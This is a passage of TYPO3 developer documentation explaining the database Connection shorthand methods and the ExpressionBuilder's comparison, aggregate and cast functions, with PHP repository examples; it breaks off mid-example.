        string $someString2,
    ): void {
        $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME)
            ->bulkInsert(
                self::TABLE_NAME,
                [
                    [$pid1, $someString1],
                    [$pid2, $someString2],
                ],
                [
                    'pid',
                    'title',
                ],
                [
                    Connection::PARAM_INT,
                    Connection::PARAM_STR,
                ],
            );
    }
}
Copied!

Read how to instantiate a connection with the connection pool. See available parameter types.

Arguments of the bulkInsert() method:

  1. The name of the table the row should be inserted. Required.
  2. An array of the values to be inserted. Required.
  3. An array containing the column names of the data which should be inserted. Optional.
  4. Specify how single values are quoted. Similar to insert(); if omitted, everything will be quoted to strings. Optional.

The number of inserted rows are returned. If something goes wrong, a \Doctrine\DBAL\Exception is thrown.

update()

Create an UPDATE statement and execute it. The example from FAL's ResourceStorage sets a storage to offline:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function updateSomething(
        int $uid,
        string $someValue,
        array $someData,
    ): void {
        $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME)
            ->update(
                self::TABLE_NAME,
                [
                    'some_value' => $someValue,
                    'json_data' => $someData,
                ],
                ['uid' => $uid],
                [Connection::PARAM_INT],
            );
    }
}
Copied!

This method supports the native database field declaration json, see Native JSON database field type support.

Read how to instantiate a connection with the connection pool. See available parameter types.

Arguments of the update() method:

  1. The name of the table to update. Required.
  2. An associative array containing field/value pairs to be updated. The key is a field name, the value is the value. In SQL they are mapped to the SET keyword. Required.
  3. The update criteria as an array of key/value pairs. The key is the field name, the value is the value. In SQL they are mapped in a WHERE keyword combined with AND. Required.
  4. Specify how single values are quoted. Similar to insert(); if omitted, everything will be quoted to strings. Optional.

The method returns the number of updated rows. If something goes wrong, a \Doctrine\DBAL\Exception is thrown.

delete()

Execute a DELETE query using equal conditions in WHERE, example from BackendUtility, to mark rows as no longer locked by a user:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function deleteSomething(
        int $uid,
    ): void {
        $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME)
            ->delete(
                self::TABLE_NAME,
                ['uid' => $uid],
                [Connection::PARAM_INT],
            );
    }
}
Copied!

Read how to instantiate a connection with the connection pool. See available parameter types.

Arguments of the delete() method:

  1. The name of the table. Required.
  2. The delete criteria as an array of key/value pairs. The key is the field name, the value is the value. In SQL they are mapped in a WHERE keyword combined with AND. Required.
  3. Specify how single values are quoted. Similar to insert(); if omitted, everything will be quoted to strings. Optional.

The method returns the number of deleted rows. If something goes wrong, a \Doctrine\DBAL\Exception is thrown.

truncate()

This method empties a table, removing all rows. It is usually much faster than a delete() of all rows. This typically resets "auto increment primary keys" to zero. Use with care:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyCacheRepository
{
    private const TABLE_NAME = 'cache_myextension';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function truncateSomething(
        int $uid,
    ): void {
        $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME)
            ->truncate(self::TABLE_NAME);
    }
}
Copied!

Read how to instantiate a connection with the connection pool.

The argument is the name of the table to be truncated. If something goes wrong, a \Doctrine\DBAL\Exception is thrown.

count()

This method executes a COUNT query. Again, this becomes useful when very simple COUNT statements are to be executed. The example below returns the number of active rows (not hidden or deleted or disabled by time) from the table tx_myextension_mytable whose field some_value field set to $something:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function countSomething(
        int $something,
    ): int {
        $connection = $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME);
        return $connection->count(
            '*',
            self::TABLE_NAME,
            ['some_value' => $something],
        );
    }
}
Copied!

Read how to instantiate a connection with the connection pool.

Arguments of the count() method:

  1. The field to count, usually * or uid. Required.
  2. The name of the table. Required.
  3. The select criteria as an array of key/value pairs. The key is the field name, the value is the value. In SQL they are mapped in a WHERE keyword combined with AND. Required.

The method returns the counted rows.

Remarks:

  • Connection::count() returns the number directly as an integer, unlike the method of the query builder it is not necessary to call ->fetchColumns(0) or similar.
  • The third argument expects all WHERE values to be strings, each single expression is combined with AND.
  • The restriction builder kicks in and adds additional WHERE conditions based on TCA settings.
  • Field names and values are quoted automatically.
  • If anything more complex than a simple equal condition on WHERE is needed, the query builder methods are the better choice: next to select(), the ->count() query is often the least useful method of the Connection object.

select()

This method creates and executes a simple SELECT query based on equal conditions. Its usage is limited, the restriction builder kicks in and key/value pairs are automatically quoted:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use Doctrine\DBAL\Result;
use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function countSomething(
        int $something,
    ): Result {
        return $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME)
            ->select(
                ['*'],
                self::TABLE_NAME,
                ['some_value' => $something],
            );
    }
}
Copied!

Read how to instantiate a connection with the connection pool.

Arguments of the select() method:

  1. The columns of the table which to select as an array. Required.
  2. The name of the table. Required.
  3. The select criteria as an array of key/value pairs. The key is the field name, the value is the value. In SQL they are mapped in a WHERE keyword combined with AND. Optional.
  4. The columns to group the results by as an array. In SQL they are mapped in a GROUP BY keyword. Optional.
  5. An associative array of column name/sort directions pairs. In SQL they are mapped in an ORDER BY keyword. Optional.
  6. The maximum number of rows to return. In SQL it is mapped in a LIMIT keyword. Optional.
  7. The first result row to select (when used the maximum number of rows). In SQL it is mapped in an OFFSET keyword. Optional.

In contrast to the other short-hand methods, ->select() returns a Result object ready for ->fetchAssociative() to get single rows or for ->fetchAllAssociative() to get all rows at once.

Remarks:

  • For non-trivial SELECT queries it is often better to switch to the according method of the query builder object.
  • The restriction builder adds default WHERE restrictions. If these restrictions do not match the query requirements, it is necessary to switch to the QueryBuilder->select() method for fine-grained WHERE manipulation.

lastInsertId()

Changed in version 13.0

The method no longer accepts the table name as first argument and the name of the auto-increment field as second argument.

This method returns the uid of the last insert() statement. This is useful if the ID is to be used directly afterwards:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function insertSomething(
        array $someData,
    ): int {
        $connection = $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME);
        $connection
            ->insert(
                self::TABLE_NAME,
                $someData,
            );
        return (int)$connection->lastInsertId();
    }
}
Copied!

Read how to instantiate a connection with the connection pool.

Remarks:

  • The last inserted ID needs to be retrieved directly before inserting a record to another table. That should be the usual workflow used in the wild - but be aware of this.

createQueryBuilder()

The query builder should not be reused for multiple different queries. However, sometimes it is convenient to first fetch a connection object for a specific table and execute a simple query, and later create a query builder for a more complex query from that connection object. The usefulness of this method is limited, however, and at the time of writing no good example could be found in the Core.

The method can also be useful in loops to save some precious code characters:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function useQueryBuilder(
        array $someData,
    ): void {
        $connection = $this->connectionPool->getConnectionForTable(self::TABLE_NAME);
        foreach ($someData as $value) {
            $queryBuilder = $connection->createQueryBuilder();
            $myResult = $queryBuilder
                ->select('*')
                ->from(self::TABLE_NAME)
                ->where(
                    $queryBuilder->expr()->eq(
                        'some_field',
                        $queryBuilder->createNamedParameter($value),
                    ),
                )
                ->executeQuery()
                ->fetchAllAssociative();
            // do something
        }
    }
}
Copied!

Read how to instantiate a connection with the connection pool.

Native JSON database field type support

JSON-like objects or arrays are automatically serialized during writing a dataset to the database, when the native JSON type was used in the database schema definition.

By using the native database field declaration json in ext_tables.sql file within an extension, TYPO3 converts arrays or objects of type \JsonSerializable into a serialized JSON value in the database when persisting such values via Connection->insert() or Connection->update() if no explicit DB types are handed in as additional method argument.

TYPO3 now utilizes the native type mapping of Doctrine to convert special types such as JSON database field types automatically for writing.

Example:

EXT:my_extension/ext_tables.sql
CREATE TABLE tx_myextension_mytable
(
    some_string varchar(200) DEFAULT '',
    json_field  json
);
Copied!
EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function insertSomething(
        int $pid,
        string $someString,
        array $someData,
    ): void {
        $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME)
            ->insert(
                self::TABLE_NAME,
                [
                    'pid' => $pid,
                    'some_string' => $someString,
                    'json_field' => $someData,
                ],
            );
    }
}
Copied!

Expression builder

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder

ExpressionBuilder class is responsible to dynamically create SQL query parts.

It takes care building query conditions while ensuring table and column names are quoted within the created expressions / SQL fragments. It is a facade to the actual Doctrine ExpressionBuilder.

The ExpressionBuilder is used within the context of the QueryBuilder to ensure queries are being build based on the requirements of the database platform in use.

Basic usage

An instance of the ExpressionBuilder is retrieved from the QueryBuilder object:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
$expressionBuilder = $queryBuilder->expr();
Copied!

It is good practice not to assign an instance of the ExpressionBuilder to a variable, but to use it directly within the code flow of the query builder context:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tt_content';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function findSomething()
    {
        $queryBuilder = $this->connectionPool->getQueryBuilderForTable(self::TABLE_NAME);

        $rows = $queryBuilder
            ->select('uid', 'header', 'bodytext')
            ->from(self::TABLE_NAME)
            ->where(
                // `bodytext` = 'lorem' AND `header` = 'dolor'
                $queryBuilder->expr()->eq(
                    'bodytext',
                    $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR),
                ),
                $queryBuilder->expr()->eq(
                    'header',
                    $queryBuilder->createNamedParameter('dolor', Connection::PARAM_STR),
                ),
            )
            ->executeQuery()
            ->fetchAllAssociative();

        // ...
    }
}
Copied!

See available parameter types.

Junctions

  • ->and() conjunction
  • ->or() disjunction

Combine multiple single expressions with AND or OR. Nesting is possible, both methods are variadic and accept any number of arguments, which are all combined. However, it usually makes little sense to pass zero or only one argument.

Example to find tt_content records:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;
use TYPO3\CMS\Core\Database\Query\QueryBuilder;

final class MyTableRepository
{
    private const TABLE_NAME = 'tt_content';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function findSomething(): QueryBuilder
    {
        // WHERE
        //     (`tt_content`.`CType` = 'header')
        //     AND (
        //        (`tt_content`.`header_position` = 'center')
        //        OR
        //        (`tt_content`.`header_position` = 'right')
        //     )
        $queryBuilder = $this->connectionPool->getQueryBuilderForTable(self::TABLE_NAME);
        $queryBuilder->where(
            $queryBuilder->expr()->eq('CType', $queryBuilder->createNamedParameter('header')),
            $queryBuilder->expr()->or(
                $queryBuilder->expr()->eq(
                    'header_position',
                    $queryBuilder->createNamedParameter('center', Connection::PARAM_STR),
                ),
                $queryBuilder->expr()->eq(
                    'header_position',
                    $queryBuilder->createNamedParameter('right', Connection::PARAM_STR),
                ),
            ),
        );
        return $queryBuilder;
    }
}
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Comparisons

A set of methods to create various comparison expressions or SQL functions:

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
eq ( string $fieldName, ?mixed $value)

Creates an equality comparison expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

The value. No automatic quoting/escaping is done.

Returns
string
neq ( string $fieldName, ?mixed $value)

Creates a non equality comparison expression with the given arguments.

First argument is considered the left expression and the second is the right expression. When converted to string, it will generate a <left expr> <> <right expr>. Example:

[php]
// u.id <> 1
$q->where($q->expr()->neq('u.id', '1'));
Copied!
param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

The value. No automatic quoting/escaping is done.

Returns
string
lt ( string $fieldName, ?mixed $value)

Creates a lower-than comparison expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

The value. No automatic quoting/escaping is done.

Returns
string
lte ( string $fieldName, ?mixed $value)

Creates a lower-than-equal comparison expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

The value. No automatic quoting/escaping is done.

Returns
string
gt ( string $fieldName, ?mixed $value)

Creates a greater-than comparison expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

The value. No automatic quoting/escaping is done.

Returns
string
gte ( string $fieldName, ?mixed $value)

Creates a greater-than-equal comparison expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

The value. No automatic quoting/escaping is done.

Returns
string
isNull ( string $fieldName)

Creates an IS NULL expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

Returns
string
isNotNull ( string $fieldName)

Creates an IS NOT NULL expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

Returns
string
like ( string $fieldName, ?mixed $value, ?string $escapeChar = NULL)

Creates a LIKE() comparison expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

Argument to be used in LIKE() comparison. No automatic quoting/escaping is done.

param $escapeChar

the escapeChar, default: NULL

Returns
string
notLike ( string $fieldName, ?mixed $value, ?string $escapeChar = NULL)

Creates a NOT LIKE() comparison expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

Argument to be used in NOT LIKE() comparison. No automatic quoting/escaping is done.

param $escapeChar

the escapeChar, default: NULL

Returns
string
in ( string $fieldName, ?string|array $value)

Creates an IN () comparison expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

The placeholder or the array of values to be used by IN() comparison.No automatic quoting/escaping is done.

Returns
string
notIn ( string $fieldName, ?string|array $value)

Creates a NOT IN () comparison expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

The placeholder or the array of values to be used by NOT IN() comparison.No automatic quoting/escaping is done.

Returns
string
inSet ( string $fieldName, string $value, bool $isColumn = false)

Returns a comparison that can find a value in a list field (CSV).

param $fieldName

The field name. Will be quoted according to database platform automatically.

param $value

Argument to be used in FIND_IN_SET() comparison. No automatic quoting/escaping is done.

param $isColumn

Set when the value to compare is a column on a table to activate casting, default: false

Returns
string
notInSet ( string $fieldName, string $value, bool $isColumn = false)

Returns a comparison that can find a value in a list field (CSV) but is negated.

param $fieldName

The field name. Will be quoted according to database platform automatically.

param $value

Argument to be used in FIND_IN_SET() comparison. No automatic quoting/escaping is done.

param $isColumn

Set when the value to compare is a column on a table to activate casting, default: false

Returns
string
bitAnd ( string $fieldName, int $value)

Creates a bitwise AND expression with the given arguments.

param $fieldName

The fieldname. Will be quoted according to database platform automatically.

param $value

Argument to be used in the bitwise AND operation

Returns
string

Remarks and warnings:

Examples:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// `bodytext` = 'foo' - string comparison
->eq('bodytext', $queryBuilder->createNamedParameter('foo'))

// `tt_content`.`bodytext` = 'foo'
->eq('tt_content.bodytext', $queryBuilder->createNamedParameter('foo'))

// `aTableAlias`.`bodytext` = 'foo'
->eq('aTableAlias.bodytext', $queryBuilder->createNamedParameter('foo'))

// `uid` = 42 - integer comparison
->eq('uid', $queryBuilder->createNamedParameter(42, Connection::PARAM_INT))

// `uid` >= 42
->gte('uid', $queryBuilder->createNamedParameter(42, Connection::PARAM_INT))

// `bodytext` LIKE 'lorem'
->like(
    'bodytext',
    $queryBuilder->createNamedParameter(
        $queryBuilder->escapeLikeWildcards('lorem')
    )
)

// `bodytext` LIKE '%lorem%'
->like(
    'bodytext',
    $queryBuilder->createNamedParameter(
        '%' . $queryBuilder->escapeLikeWildcards('lorem') . '%'
    )
)

// usergroup does not contain 42
->notInSet('usergroup', $queryBuilder->createNamedParameter('42'))

// use TYPO3\CMS\Core\Database\Connection;
// `uid` IN (42, 0, 44) - properly sanitized, mind the intExplode and PARAM_INT_ARRAY
->in(
    'uid',
    $queryBuilder->createNamedParameter(
        GeneralUtility::intExplode(',', '42, karl, 44', true),
        Connection::PARAM_INT_ARRAY
    )
)

// use TYPO3\CMS\Core\Database\Connection;
// `CType` IN ('media', 'multimedia') - properly sanitized, mind the PARAM_STR_ARRAY
->in(
    'CType',
    $queryBuilder->createNamedParameter(
        ['media', 'multimedia'],
        Connection::PARAM_STR_ARRAY
    )
)
Copied!

See available parameter types.

Aggregate functions

Aggregate functions used in SELECT parts, often combined with GROUP BY. The first argument is the field name (or table name / alias with field name), the second argument is an optional alias.

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
min ( string $fieldName, ?string $alias = NULL)

Creates a MIN expression for the given field/alias.

param $fieldName

the fieldName

param $alias

the alias, default: NULL

Returns
string
max ( string $fieldName, ?string $alias = NULL)

Creates a MAX expression for the given field/alias.

param $fieldName

the fieldName

param $alias

the alias, default: NULL

Returns
string
avg ( string $fieldName, ?string $alias = NULL)

Creates an AVG expression for the given field/alias.

param $fieldName

the fieldName

param $alias

the alias, default: NULL

Returns
string
sum ( string $fieldName, ?string $alias = NULL)

Creates a SUM expression for the given field/alias.

param $fieldName

the fieldName

param $alias

the alias, default: NULL

Returns
string
count ( string $fieldName, ?string $alias = NULL)

Creates a COUNT expression for the given field/alias.

param $fieldName

the fieldName

param $alias

the alias, default: NULL

Returns
string

Examples:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use Doctrine\DBAL\Exception;
use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tt_content';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    /**
     * Calculate the average creation timestamp of all rows from tt_content
     * SELECT AVG(`crdate`) AS `averagecreation` FROM `tt_content`
     * @return array<mixed>
     * @throws Exception
     */
    public function findAverageCreationTime(): array
    {
        $queryBuilder = $this->connectionPool->getQueryBuilderForTable(self::TABLE_NAME);
        $result = $queryBuilder
            ->addSelectLiteral(
                $queryBuilder->expr()->avg('crdate', 'averagecreation'),
            )
            ->from(self::TABLE_NAME)
            ->executeQuery()
            ->fetchAssociative();
        return $result;
    }

    /**
     * Distinct list of all existing endtime values from tt_content
     * SELECT `uid`, MAX(`endtime`) AS `maxendtime` FROM `tt_content` GROUP BY `endtime`
     * @return array<array<mixed>>
     * @throws Exception
     */
    public function findDistinctiveEndtimeValues(): array
    {
        $queryBuilder = $this->connectionPool->getQueryBuilderForTable(self::TABLE_NAME);
        $result = $queryBuilder
            ->select('uid')
            ->addSelectLiteral(
                $queryBuilder->expr()->max('endtime', 'maxendtime'),
            )
            ->from('tt_content')
            ->groupBy('endtime')
            ->executeQuery()
            ->fetchAllAssociative()
        ;
        return $result;
    }
}
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Various expressions

ExpressionBuilder::as()

New in version 13.1

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
as ( string $expression, string $asIdentifier = '')
param $expression

Value, identifier or expression which should be aliased

param $asIdentifier

Alias identifier, default: ''

Return description

Returns aliased expression

Returns
string

Creates a statement to append a field alias to a value, identifier or sub-expression.

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_table';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function demonstrateExpressionBuilderAs(): void
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);
        $expressionBuilder = $queryBuilder->expr();

        // Alias the result of "1+1+1" as column "calculated_field" (containing "3")
        $queryBuilder->selectLiteral(
            $queryBuilder->quoteIdentifier('uid'),
            $expressionBuilder->as('(1 + 1 + 1)', 'calculated_field'),
        );

        // Alias a calculated sub-expression of concatenating "1", " " and "1" as
        // column "concatenated_value", containing "1 1".
        $queryBuilder->selectLiteral(
            $queryBuilder->quoteIdentifier('uid'),
            $expressionBuilder->as(
                $expressionBuilder->concat(
                    $expressionBuilder->literal('1'),
                    $expressionBuilder->literal(' '),
                    $expressionBuilder->literal('1'),
                ),
                'concatenated_value',
            ),
        );
    }
}
Copied!

ExpressionBuilder::concat()

New in version 13.1

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
concat ( string ...$parts)
param $parts

the parts

Return description

Returns the concatenation expression compatible with the database connection platform

Returns
string

Can be used to concatenate values, row field values or expression results into a single string value.

The created expression is built on the proper platform-specific and preferred concatenation method, for example field1 || field2 || field3 || ... for SQLite and CONCAT(field1, field2, field3, ...) for other database vendors.

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'pages';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function demonstrateConcat(): void
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);
        $expressionBuilder = $queryBuilder->expr();
        $result = $queryBuilder
            ->select('uid', 'pid', 'title', 'page_title_info')
            ->addSelectLiteral(
                $expressionBuilder->concat(
                    $queryBuilder->quoteIdentifier('title'),
                    $queryBuilder->quote(' - ['),
                    $queryBuilder->quoteIdentifier('uid'),
                    $queryBuilder->quote('|'),
                    $queryBuilder->quoteIdentifier('pid'),
                    $queryBuilder->quote(']'),
                ) . ' AS ' . $queryBuilder->quoteIdentifier('page_title_info'),
            )
            ->where(
                $expressionBuilder->eq(
                    'pid',
                    $queryBuilder->createNamedParameter(0, Connection::PARAM_INT),
                ),
            )
            ->executeQuery();
        while ($row = $result->fetchAssociative()) {
            // $row = [
            //  'uid' => 1,
            //  'pid' => 0,
            //  'title' => 'Site Root Page',
            //  'page_title_info' => 'Site Root Page - [1|0]',
            // ]
            // ...
        }
    }
}
Copied!

ExpressionBuilder::castInt()

New in version 13.1

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
castInt ( string $value, string $asIdentifier = '')
param $value

Quoted value or expression result which should be cast to integer type

param $asIdentifier

Optionally add a field identifier alias (AS), default: ''

Return description

Returns the integer cast expression compatible with the connection database platform

Returns
string

Can be used to create an expression which converts a value, row field value or the result of an expression to signed integer type.

Uses the platform-specific preferred way for casting to dynamic length character type, which means CAST("value" AS INTEGER) for most database vendors except PostgreSQL. For PostgreSQL the "value"::INTEGER cast notation is used.

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'my_table';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function demonstrateCastInt(): void
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);

        $queryBuilder
            ->select('uid')
            ->from('pages');

        // simple value (quoted) to be used as sub-expression
        $expression1 = $queryBuilder->expr()->castInt(
            $queryBuilder->quote('123'),
        );

        // simple value (quoted) to return as select field
        $queryBuilder->addSelectLiteral(
            $queryBuilder->expr()->castInt(
                $queryBuilder->quote('123'),
                'virtual_field',
            ),
        );

        // cast the contents of a specific field to integer
        $expression3 = $queryBuilder->expr()->castInt(
            $queryBuilder->quoteIdentifier('uid'),
        );

        // expression to be used as sub-expression
        $expression4 = $queryBuilder->expr()->castInt(
            $queryBuilder->expr()->castVarchar('(1 * 10)'),
        );

        // expression to return as select field
        $queryBuilder->addSelectLiteral(
            $queryBuilder->expr()->castInt(
                $queryBuilder->expr()->castVarchar('(1 * 10)'),
                'virtual_field',
            ),
        );
    }
}
Copied!

ExpressionBuilder::castText()

New in version 13.3

Can be used to create an expression which converts a value, row field value or the result of an expression to type TEXT or a large `VARCHAR, depending on the database system in use.

Casting is done to large VARCHAR/CHAR types using the CAST/CONVERT or similar methods based on the used database engine.

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'my_table';

    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function demonstrateCastText(string $col1, string $col2): array
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);

        return $queryBuilder
            ->selectLiteral(
                $queryBuilder->quoteIdentifier($col1),
                $queryBuilder->quoteIdentifier($col2),
                // !!! Escape all values passed to castText to prevent SQL injections
                $queryBuilder->expr()->castText(
                    $queryBuilder->quoteIdentifier($col2) . ' * 10',
                    'virtual_field',
                ),
            )
            ->from(self::TABLE_NAME)
            ->executeQuery()
            ->fetchAllAssociative();
    }
}
Copied!

ExpressionBuilder::castVarchar()

New in version 13.1

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
castVarchar ( string $value, int $length = 255, string $asIdentifier = '')
param $value

Unquoted value or expression, which should be cast

param $length

Dynamic varchar field length, default: 255

param $asIdentifier

Used to add a field identifier alias (AS) if non-empty string (optional), default: ''

Return description

Returns the cast expression compatible for the database platform

Returns
string

Can be used to create an expression which converts a value, row field value or the result of an expression to varchar type with dynamic length.

Uses the platform-specific preferred way for casting to dynamic length character type, which means CAST("value" AS VARCHAR(<LENGTH>)) or CAST("value" AS CHAR(<LENGTH>)) is used, except for PostgreSQL. For PostgreSQL the "value"::INTEGER cast notation is used.

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'my_table';
    public function __construct(private readonly ConnectionPool $connectionPool) {}

    public function demonstrateCastVarchar(): void
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);

        $fieldVarcharCastExpression = $queryBuilder->expr()->castVarchar(
            $queryBuilder->quote('123'), // integer as string
            255,                         // convert to varchar(255) field - dynamic length
            'new_field_identifier',
        );

        $fieldExpressionCastExpression2 = $queryBuilder->expr()->castVarchar(
            '(100 + 200)',           // calculate a integer value
            100,                     // dynamic varchar(100) field
            'new_field_identifier',
        );
    }
}
Copied!

ExpressionBuilder::if()

New in version 13.3

class ExpressionBuilder
Fully qualified name
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
if ( TYPO3\CMS\Core\Database\Query\Expression\CompositeExpression|Doctrine\DBAL\Query\Expression\CompositeExpression|Stringable|string $condition, Stringable|string $truePart, Stringable|string $falsePart, ?Stringable|string|null $as = NULL)
param $condition

the condition

param $truePart

the truePart

param $falsePart

the falsePart

param $as

the as, default: NULL

Returns
string

This method is used for "if-then-else" expressions. These are translated into IF or CASE statements depending on the database engine in use.

Example:

// use TYPO3\CMS\Core\Database\Connection;

$queryBuilder
    ->selectLiteral(
        $queryBuilder->expr()->if(
            $queryBuilder->expr()->eq(
                'hidden',
                $queryBuilder->createNamedParameter(0, Connection::PARAM_INT)
            ),
            $queryBuilder->quote('page-is-visible'),
            $queryBuilder->quote('page-is-not-visible'),
            'result_field_name'
        ),
    )
    ->from('pages');
Copied!

Result with MySQL/MariaDB:

SELECT
